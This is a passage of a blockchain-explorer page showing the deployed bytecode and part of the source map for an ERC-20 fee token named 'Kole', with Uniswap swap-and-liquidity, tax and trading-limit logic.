88cfe371c6942226e7cae364736f6c63430008150033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c8063715018a61161007c57806395d89b411161005757806395d89b411461021a5780639d60f17914610246578063a9059cbb1461025a578063dd62ed3e14610279575f80fd5b8063715018a6146101ca578063751039fc146101e05780638da5cb5b146101f4575f80fd5b806306fdde03146100cd578063095ea7b31461010b57806318160ddd1461013a57806323b872dd1461015c578063313ce5671461017b57806370a0823114610196575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506040805180820190915260048152634b6f6c6560e01b60208201525b60405161010291906112f8565b60405180910390f35b348015610116575f80fd5b5061012a61012536600461135a565b6102bd565b6040519015158152602001610102565b348015610145575f80fd5b5061014e6102d3565b604051908152602001610102565b348015610167575f80fd5b5061012a610176366004611384565b6102f3565b348015610186575f80fd5b5060405160098152602001610102565b3480156101a1575f80fd5b5061014e6101b03660046113c2565b6001600160a01b03165f9081526001602052604090205490565b3480156101d5575f80fd5b506101de61035a565b005b3480156101eb575f80fd5b506101de6103d4565b3480156101ff575f80fd5b505f546040516001600160a01b039091168152602001610102565b348015610225575f80fd5b506040805180820190915260048152634b4f4c4560e01b60208201526100f5565b348015610251575f80fd5b506101de61048f565b348015610265575f80fd5b5061012a61027436600461135a565b6107da565b348015610284575f80fd5b5061014e6102933660046113dd565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102c93384846107e6565b5060015b92915050565b5f6102e06009600a611508565b6102ee90633b9aca00611516565b905090565b5f6102ff848484610909565b610350843361034b856040518060600160405280602881526020016116a8602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f38565b6107e6565b5060019392505050565b5f546001600160a01b0316331461038c5760405162461bcd60e51b81526004016103839061152d565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146103fd5760405162461bcd60e51b81526004016103839061152d565b6104096009600a611508565b61041790633b9aca00611516565b6012556104266009600a611508565b61043490633b9aca00611516565b6011556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61046e6009600a611508565b61047c90633b9aca00611516565b60405190815260200160405180910390a1565b5f546001600160a01b031633146104b85760405162461bcd60e51b81526004016103839061152d565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105019030906104f36009600a611508565b61034b90633b9aca00611516565b60155f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610551573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105759190611562565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105f89190611562565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610642573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106669190611562565b601680546001600160a01b039283166001600160a01b03199091161790556015541663f305d71947306106ad816001600160a01b03165f9081526001602052604090205490565b5f806106c05f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610726573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061074b919061157d565b505060165460155460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c491906115a8565b506016805460ff60a81b1916600160a81b179055565b5f6102c9338484610909565b6001600160a01b0383166108485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610383565b6001600160a01b0382166108a95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610383565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661096d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610383565b6001600160a01b0382166109cf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610383565b5f8111610a305760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610383565b6001600160a01b0383165f90815260036020526040812054829060ff16158015610a7257506001600160a01b0384165f9081526003602052604090205460ff16155b15610dcc57610a946064610a8e610a87610f70565b8690610fad565b90611032565b60055490925060ff1615610b7a576015546001600160a01b03858116911614801590610ace57506016546001600160a01b03858116911614155b15610b7a57325f908152600460205260409020544311610b685760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610383565b325f9081526004602052604090204390555b6016546001600160a01b038681169116148015610ba557506015546001600160a01b03858116911614155b8015610bc957506001600160a01b0384165f9081526003602052604090205460ff16155b15610cc557601154831115610c205760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865205f6d6178547853697a652e0000000000000000006044820152606401610383565b60125483610c42866001600160a01b03165f9081526001602052604090205490565b610c4c91906115c7565b1115610c9a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610383565b600b8054905f610ca9836115da565b9190505550600a54600b541115610cc5576005805460ff191690555b6016546001600160a01b038581169116148015610ceb57506001600160a01b0385163014155b15610d0357610d006064610a8e610a87611073565b91505b305f90815260016020526040902054601654600160a01b900460ff16158015610d3957506016546001600160a01b038681169116145b8015610d4e5750601654600160a81b900460ff165b8015610d5b575060135484115b15610dc657601354811115610d8757610d87610d8285610d7d846014546110a9565b6110a9565b6110bd565b6005546040516001600160a01b0361010090920491909116904780156108fc02915f818181858888f19350505050158015610dc4573d5f803e3d5ffd5b505b50610dfa565b6005546001600160a01b03610100909104811690861603610dfa57600d54600c54610df791906115f2565b90505b8115610e7257305f90815260016020526040902054610e19908361122d565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e699086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610e94908261128b565b6001600160a01b0386165f90815260016020526040902055610ed7610eb9848461128b565b6001600160a01b0386165f908152600160205260409020549061122d565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f20868661128b565b60405190815260200160405180910390a35050505050565b5f8184841115610f5b5760405162461bcd60e51b815260040161038391906112f8565b505f610f6784866115f2565b95945050505050565b5f600854600b5411610f83575060065490565b600854600b54118015610f9a5750600e54600b5411155b15610fa65750600c5490565b50600f5490565b5f825f03610fbc57505f6102cd565b5f610fc78385611516565b905082610fd48583611605565b1461102b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610383565b9392505050565b5f61102b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112cc565b5f600854600b5411611086575060075490565b600954600b5411801561109d5750600e54600b5411155b15610fa65750600d5490565b5f8183116110b7578261102b565b50919050565b6016805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061110357611103611624565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561115a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061117e9190611562565b8160018151811061119157611191611624565b6001600160a01b0392831660209182029290920101526015546111b791309116846107e6565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ef9085905f90869030904290600401611638565b5f604051808303815f87803b158015611206575f80fd5b505af1158015611218573d5f803e3d5ffd5b50506016805460ff60a01b1916905550505050565b5f8061123983856115c7565b90508381101561102b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610383565b5f61102b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f38565b5f81836112ec5760405162461bcd60e51b815260040161038391906112f8565b505f610f678486611605565b5f6020808352835180828501525f5b8181101561132357858101830151858201604001528201611307565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611357575f80fd5b50565b5f806040838503121561136b575f80fd5b823561137681611343565b946020939093013593505050565b5f805f60608486031215611396575f80fd5b83356113a181611343565b925060208401356113b181611343565b929592945050506040919091013590565b5f602082840312156113d2575f80fd5b813561102b81611343565b5f80604083850312156113ee575f80fd5b82356113f981611343565b9150602083013561140981611343565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561146257815f190482111561144857611448611414565b8085161561145557918102915b93841c939080029061142d565b509250929050565b5f82611478575060016102cd565b8161148457505f6102cd565b816001811461149a57600281146114a4576114c0565b60019150506102cd565b60ff8411156114b5576114b5611414565b50506001821b6102cd565b5060208310610133831016604e8410600b84101617156114e3575081810a6102cd565b6114ed8383611428565b805f190482111561150057611500611414565b029392505050565b5f61102b60ff84168361146a565b80820281158282048414176102cd576102cd611414565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611572575f80fd5b815161102b81611343565b5f805f6060848603121561158f575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115b8575f80fd5b8151801515811461102b575f80fd5b808201808211156102cd576102cd611414565b5f600182016115eb576115eb611414565b5060010190565b818103818111156102cd576102cd611414565b5f8261161f57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116865784516001600160a01b031683529383019391830191600101611661565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e56f5f0ff3e2021a23dad5ecbdd5811120bc1fddfa88cfe371c6942226e7cae364736f6c63430008150033

Deployed Bytecode Sourcemap

3583:8152:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5597:83;;;;;;;;;;-1:-1:-1;5667:5:0;;;;;;;;;;;;-1:-1:-1;;;5667:5:0;;;;5597:83;;;;;;;:::i;:::-;;;;;;;;6430:161;;;;;;;;;;-1:-1:-1;6430:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6430:161:0;1023:187:1;5874:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5874:95:0;1215:177:1;6599:313:0;;;;;;;;;;-1:-1:-1;6599:313:0;;;;;:::i;:::-;;:::i;5783:83::-;;;;;;;;;;-1:-1:-1;5783:83:0;;4516:1;2000:36:1;;1988:2;1973:18;5783:83:0;1858:184:1;5977:119:0;;;;;;;;;;-1:-1:-1;5977:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6070:18:0;6043:7;6070:18;;;:9;:18;;;;;;;5977:119;2664:148;;;;;;;;;;;;;:::i;:::-;;10919:195;;;;;;;;;;;;;:::i;2450:79::-;;;;;;;;;;-1:-1:-1;2488:7:0;2515:6;2450:79;;-1:-1:-1;;;;;2515:6:0;;;2445:51:1;;2433:2;2418:18;2450:79:0;2299:203:1;5688:87:0;;;;;;;;;;-1:-1:-1;5760:7:0;;;;;;;;;;;;-1:-1:-1;;;5760:7:0;;;;5688:87;;11122:573;;;;;;;;;;;;;:::i;6104:167::-;;;;;;;;;;-1:-1:-1;6104:167:0;;;;;:::i;:::-;;:::i;6279:143::-;;;;;;;;;;-1:-1:-1;6279:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6387:18:0;;;6360:7;6387:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6279:143;6430:161;6505:4;6522:39;285:10;6545:7;6554:6;6522:8;:39::i;:::-;-1:-1:-1;6579:4:0;6430:161;;;;;:::o;5874:95::-;5927:7;4572:13;4516:1;4572:2;:13;:::i;:::-;4559:26;;:10;:26;:::i;:::-;5947:14;;5874:95;:::o;6599:313::-;6697:4;6714:36;6724:6;6732:9;6743:6;6714:9;:36::i;:::-;6761:121;6770:6;285:10;6792:89;6830:6;6792:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6792:19:0;;;;;;:11;:19;;;;;;;;285:10;6792:33;;;;;;;;;;:37;:89::i;:::-;6761:8;:121::i;:::-;-1:-1:-1;6900:4:0;6599:313;;;;;:::o;2664:148::-;2577:6;;-1:-1:-1;;;;;2577:6:0;285:10;2577:22;2569:67;;;;-1:-1:-1;;;2569:67:0;;;;;;;:::i;:::-;;;;;;;;;2771:1:::1;2755:6:::0;;2734:40:::1;::::0;-1:-1:-1;;;;;2755:6:0;;::::1;::::0;2734:40:::1;::::0;2771:1;;2734:40:::1;2802:1;2785:19:::0;;-1:-1:-1;;;;;;2785:19:0::1;::::0;;2664:148::o;10919:195::-;2577:6;;-1:-1:-1;;;;;2577:6:0;285:10;2577:22;2569:67;;;;-1:-1:-1;;;2569:67:0;;;;;;;:::i;:::-;4572:13:::1;4516:1;4572:2;:13;:::i;:::-;4559:26;::::0;:10:::1;:26;:::i;:::-;10972:14;:23:::0;4572:13:::1;4516:1;4572:2;:13;:::i;:::-;4559:26;::::0;:10:::1;:26;:::i;:::-;11006:10;:20:::0;11037:18:::1;:26:::0;;-1:-1:-1;;11037:26:0::1;::::0;;11079:27:::1;4572:13;4516:1;4572:2;:13;:::i;:::-;4559:26;::::0;:10:::1;:26;:::i;:::-;11079:27;::::0;1361:25:1;;;1349:2;1334:18;11079:27:0::1;;;;;;;10919:195::o:0;11122:573::-;2577:6;;-1:-1:-1;;;;;2577:6:0;285:10;2577:22;2569:67;;;;-1:-1:-1;;;2569:67:0;;;;;;;:::i;:::-;11175:15:::1;:80:::0;;-1:-1:-1;;;;;;11175:80:0::1;11212:42;11175:80:::0;;::::1;::::0;;;11266:58:::1;::::0;11283:4:::1;::::0;4572:13:::1;4516:1;4572:2;:13;:::i;:::-;4559:26;::::0;:10:::1;:26;:::i;11266:58::-;11364:15;;;;;;;;;-1:-1:-1::0;;;;;11364:15:0::1;-1:-1:-1::0;;;;;11364:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11346:55:0::1;;11410:4;11417:15;;;;;;;;;-1:-1:-1::0;;;;;11417:15:0::1;-1:-1:-1::0;;;;;11417:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11346:94;::::0;-1:-1:-1;;;;;;11346:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5435:15:1;;;11346:94:0::1;::::0;::::1;5417:34:1::0;5487:15;;5467:18;;;5460:43;5352:18;;11346:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11335:8;:105:::0;;-1:-1:-1;;;;;11335:105:0;;::::1;-1:-1:-1::0;;;;;;11335:105:0;;::::1;;::::0;;11451:15:::1;::::0;::::1;:31;11490:21;11521:4;11527:24;11521:4:::0;-1:-1:-1;;;;;6070:18:0;6043:7;6070:18;;;:9;:18;;;;;;;5977:119;11527:24:::1;11552:1;11554::::0;11556:7:::1;2488::::0;2515:6;-1:-1:-1;;;;;2515:6:0;;2450:79;11556:7:::1;11451:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11451:129:0;;;-1:-1:-1;;;;;5873:15:1;;;11451:129:0::1;::::0;::::1;5855:34:1::0;5905:18;;;5898:34;;;;5948:18;;;5941:34;;;;5991:18;;;5984:34;6055:15;;;6034:19;;;6027:44;11564:15:0::1;6087:19:1::0;;;6080:35;5789:19;;11451:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11598:8:0::1;::::0;11624:15:::1;::::0;11591:66:::1;::::0;-1:-1:-1;;;11591:66:0;;-1:-1:-1;;;;;11624:15:0;;::::1;11591:66;::::0;::::1;6611:51:1::0;-1:-1:-1;;6678:18:1;;;6671:34;11598:8:0;::::1;::::0;-1:-1:-1;11591:24:0::1;::::0;6584:18:1;;11591:66:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11668:12:0::1;:19:::0;;-1:-1:-1;;;;11668:19:0::1;-1:-1:-1::0;;;11668:19:0::1;::::0;;11122:573::o;6104:167::-;6182:4;6199:42;285:10;6223:9;6234:6;6199:9;:42::i;6920:335::-;-1:-1:-1;;;;;7013:19:0;;7005:68;;;;-1:-1:-1;;;7005:68:0;;7200:2:1;7005:68:0;;;7182:21:1;7239:2;7219:18;;;7212:30;7278:34;7258:18;;;7251:62;-1:-1:-1;;;7329:18:1;;;7322:34;7373:19;;7005:68:0;6998:400:1;7005:68:0;-1:-1:-1;;;;;7092:21:0;;7084:68;;;;-1:-1:-1;;;7084:68:0;;7605:2:1;7084:68:0;;;7587:21:1;7644:2;7624:18;;;7617:30;7683:34;7663:18;;;7656:62;-1:-1:-1;;;7734:18:1;;;7727:32;7776:19;;7084:68:0;7403:398:1;7084:68:0;-1:-1:-1;;;;;7163:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7215:32;;1361:25:1;;;7215:32:0;;1334:18:1;7215:32:0;;;;;;;6920:335;;;:::o;7263:2382::-;-1:-1:-1;;;;;7351:18:0;;7343:68;;;;-1:-1:-1;;;7343:68:0;;8008:2:1;7343:68:0;;;7990:21:1;8047:2;8027:18;;;8020:30;8086:34;8066:18;;;8059:62;-1:-1:-1;;;8137:18:1;;;8130:35;8182:19;;7343:68:0;7806:401:1;7343:68:0;-1:-1:-1;;;;;7430:16:0;;7422:64;;;;-1:-1:-1;;;7422:64:0;;8414:2:1;7422:64:0;;;8396:21:1;8453:2;8433:18;;;8426:30;8492:34;8472:18;;;8465:62;-1:-1:-1;;;8543:18:1;;;8536:33;8586:19;;7422:64:0;8212:399:1;7422:64:0;7514:1;7505:6;:10;7497:64;;;;-1:-1:-1;;;7497:64:0;;8818:2:1;7497:64:0;;;8800:21:1;8857:2;8837:18;;;8830:30;8896:34;8876:18;;;8869:62;-1:-1:-1;;;8947:18:1;;;8940:39;8996:19;;7497:64:0;8616:405:1;7497:64:0;-1:-1:-1;;;;;7639:24:0;;7572:17;7639:24;;;:18;:24;;;;;;7617:6;;7639:24;;7638:25;:52;;;;-1:-1:-1;;;;;;7668:22:0;;;;;;:18;:22;;;;;;;;7667:23;7638:52;7634:1656;;;7719:34;7749:3;7719:25;7730:13;:11;:13::i;:::-;7719:6;;:10;:25::i;:::-;:29;;:34::i;:::-;7772:18;;7707:46;;-1:-1:-1;7772:18:0;;7768:445;;;7829:15;;-1:-1:-1;;;;;7815:30:0;;;7829:15;;7815:30;;;;:57;;-1:-1:-1;7863:8:0;;-1:-1:-1;;;;;7849:23:0;;;7863:8;;7849:23;;7815:57;7811:387;;;7956:9;7932:34;;;;:23;:34;;;;;;7969:12;-1:-1:-1;7898:208:0;;;;-1:-1:-1;;;7898:208:0;;9228:2:1;7898:208:0;;;9210:21:1;9267:2;9247:18;;;9240:30;9306:34;9286:18;;;9279:62;9377:34;9357:18;;;9350:62;-1:-1:-1;;;9428:19:1;;;9421:40;9478:19;;7898:208:0;9026:477:1;7898:208:0;8153:9;8129:34;;;;:23;:34;;;;;8166:12;8129:49;;7811:387;8241:8;;-1:-1:-1;;;;;8233:16:0;;;8241:8;;8233:16;:50;;;;-1:-1:-1;8267:15:0;;-1:-1:-1;;;;;8253:30:0;;;8267:15;;8253:30;;8233:50;:78;;;;-1:-1:-1;;;;;;8289:22:0;;;;;;:18;:22;;;;;;;;8287:24;8233:78;8229:435;;;8351:10;;8341:6;:20;;8333:56;;;;-1:-1:-1;;;8333:56:0;;9710:2:1;8333:56:0;;;9692:21:1;9749:2;9729:18;;;9722:30;9788:25;9768:18;;;9761:53;9831:18;;8333:56:0;9508:347:1;8333:56:0;8442:14;;8432:6;8416:13;8426:2;-1:-1:-1;;;;;6070:18:0;6043:7;6070:18;;;:9;:18;;;;;;;5977:119;8416:13;:22;;;;:::i;:::-;:40;;8408:79;;;;-1:-1:-1;;;8408:79:0;;10192:2:1;8408:79:0;;;10174:21:1;10231:2;10211:18;;;10204:30;10270:28;10250:18;;;10243:56;10316:18;;8408:79:0;9990:350:1;8408:79:0;8506:15;:17;;;:15;:17;;;:::i;:::-;;;;;;8564:14;;8546:15;;:32;8542:107;;;8603:18;:26;;-1:-1:-1;;8603:26:0;;;8542:107;8689:8;;-1:-1:-1;;;;;8683:14:0;;;8689:8;;8683:14;:38;;;;-1:-1:-1;;;;;;8701:20:0;;8716:4;8701:20;;8683:38;8680:125;;;8754:35;8785:3;8754:26;8765:14;:12;:14::i;8754:35::-;8742:47;;8680:125;8871:4;8821:29;6070:18;;;:9;:18;;;;;;8897:9;;-1:-1:-1;;;8897:9:0;;;;8896:10;:28;;;;-1:-1:-1;8916:8:0;;-1:-1:-1;;;;;8910:14:0;;;8916:8;;8910:14;8896:28;:44;;;;-1:-1:-1;8928:12:0;;-1:-1:-1;;;8928:12:0;;;;8896:44;:71;;;;;8953:14;;8944:6;:23;8896:71;8892:301;;;9015:14;;8991:21;:38;8988:129;;;9048:69;9063:53;9067:6;9074:41;9078:21;9100:14;;9074:3;:41::i;:::-;9063:3;:53::i;:::-;9048:14;:69::i;:::-;9136:9;;:41;;-1:-1:-1;;;;;9136:9:0;;;;;;;;;9155:21;9136:41;;;;;;;;;9155:21;9136:9;:41;;;;;;;;;;;;;;;;;;;;;8892:301;7692:1512;7634:1656;;;9229:9;;-1:-1:-1;;;;;9229:9:0;;;;;;9213:26;;;;9210:80;;9276:14;;9262:13;;:28;;;;:::i;:::-;9254:36;;9210:80;9304:11;;9301:161;;9372:4;9354:24;;;;:9;:24;;;;;;:39;;9383:9;9354:28;:39::i;:::-;9347:4;9329:24;;;;:9;:24;;;;;;;:64;;;;9411:39;;-1:-1:-1;;;;;9411:39:0;;;;;;;9440:9;1361:25:1;;1349:2;1334:18;;1215:177;9411:39:0;;;;;;;;9301:161;-1:-1:-1;;;;;9488:15:0;;;;;;:9;:15;;;;;;:27;;9508:6;9488:19;:27::i;:::-;-1:-1:-1;;;;;9472:15:0;;;;;;:9;:15;;;;;:43;9540:40;9558:21;:6;9569:9;9558:10;:21::i;:::-;-1:-1:-1;;;;;9540:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9526:13:0;;;;;;;:9;:13;;;;;:54;;;;9596:41;;;9615:21;:6;9626:9;9615:10;:21::i;:::-;9596:41;;1361:25:1;;;1349:2;1334:18;9596:41:0;;;;;;;7332:2313;;7263:2382;;;:::o;1342:190::-;1428:7;1464:12;1456:6;;;;1448:29;;;;-1:-1:-1;;;1448:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1488:9:0;1500:5;1504:1;1500;:5;:::i;:::-;1488:17;1342:190;-1:-1:-1;;;;;1342:190:0:o;9991:326::-;10036:7;10078:15;;10059;;:34;10056:88;;-1:-1:-1;10116:16:0;;;9991:326::o;10056:88::-;10175:15;;10157;;:33;:72;;;;;10213:16;;10194:15;;:35;;10157:72;10154:123;;;-1:-1:-1;10252:13:0;;;9991:326::o;10154:123::-;-1:-1:-1;10295:14:0;;;9991:326::o;1540:246::-;1598:7;1622:1;1627;1622:6;1618:47;;-1:-1:-1;1652:1:0;1645:8;;1618:47;1675:9;1687:5;1691:1;1687;:5;:::i;:::-;1675:17;-1:-1:-1;1720:1:0;1711:5;1715:1;1675:17;1711:5;:::i;:::-;:10;1703:56;;;;-1:-1:-1;;;1703:56:0;;11042:2:1;1703:56:0;;;11024:21:1;11081:2;11061:18;;;11054:30;11120:34;11100:18;;;11093:62;-1:-1:-1;;;11171:18:1;;;11164:31;11212:19;;1703:56:0;10840:397:1;1703:56:0;1777:1;1540:246;-1:-1:-1;;;1540:246:0:o;1794:132::-;1852:7;1879:39;1883:1;1886;1879:39;;;;;;;;;;;;;;;;;:3;:39::i;9653:330::-;9699:7;9741:15;;9722;;:34;9719:89;;-1:-1:-1;9779:17:0;;;9653:330::o;9719:89::-;9839:16;;9821:15;;:34;:73;;;;;9878:16;;9859:15;;:35;;9821:73;9818:125;;;-1:-1:-1;9917:14:0;;;9653:330::o;10327:98::-;10384:7;10411:1;10409;:3;10408:9;;10416:1;10408:9;;;-1:-1:-1;10414:1:0;10327:98;-1:-1:-1;10327:98:0:o;10433:478::-;5172:9;:16;;-1:-1:-1;;;;5172:16:0;-1:-1:-1;;;5172:16:0;;;10530::::1;::::0;;10544:1:::1;10530:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10530:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10530:16:0::1;10506:40;;10575:4;10557;10562:1;10557:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10557:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10601:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10601:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10557:7;;10601:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10591:4;10596:1;10591:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10591:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10666:15:::1;::::0;10634:62:::1;::::0;10651:4:::1;::::0;10666:15:::1;10684:11:::0;10634:8:::1;:62::i;:::-;10707:15;::::0;:196:::1;::::0;-1:-1:-1;;;10707:196:0;;-1:-1:-1;;;;;10707:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10788:11;;10707:15:::1;::::0;10830:4;;10857::::1;::::0;10877:15:::1;::::0;10707:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5211:9:0;:17;;-1:-1:-1;;;;5211:17:0;;;-1:-1:-1;;;;10433:478:0:o;1011:179::-;1069:7;;1101:5;1105:1;1101;:5;:::i;:::-;1089:17;;1130:1;1125;:6;;1117:46;;;;-1:-1:-1;;;1117:46:0;;12693:2:1;1117:46:0;;;12675:21:1;12732:2;12712:18;;;12705:30;12771:29;12751:18;;;12744:57;12818:18;;1117:46:0;12491:351:1;1198:136:0;1256:7;1283:43;1287:1;1290;1283:43;;;;;;;;;;;;;;;;;:3;:43::i;1934:189::-;2020:7;2055:12;2048:5;2040:28;;;;-1:-1:-1;;;2040:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2079:9:0;2091:5;2095:1;2091;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189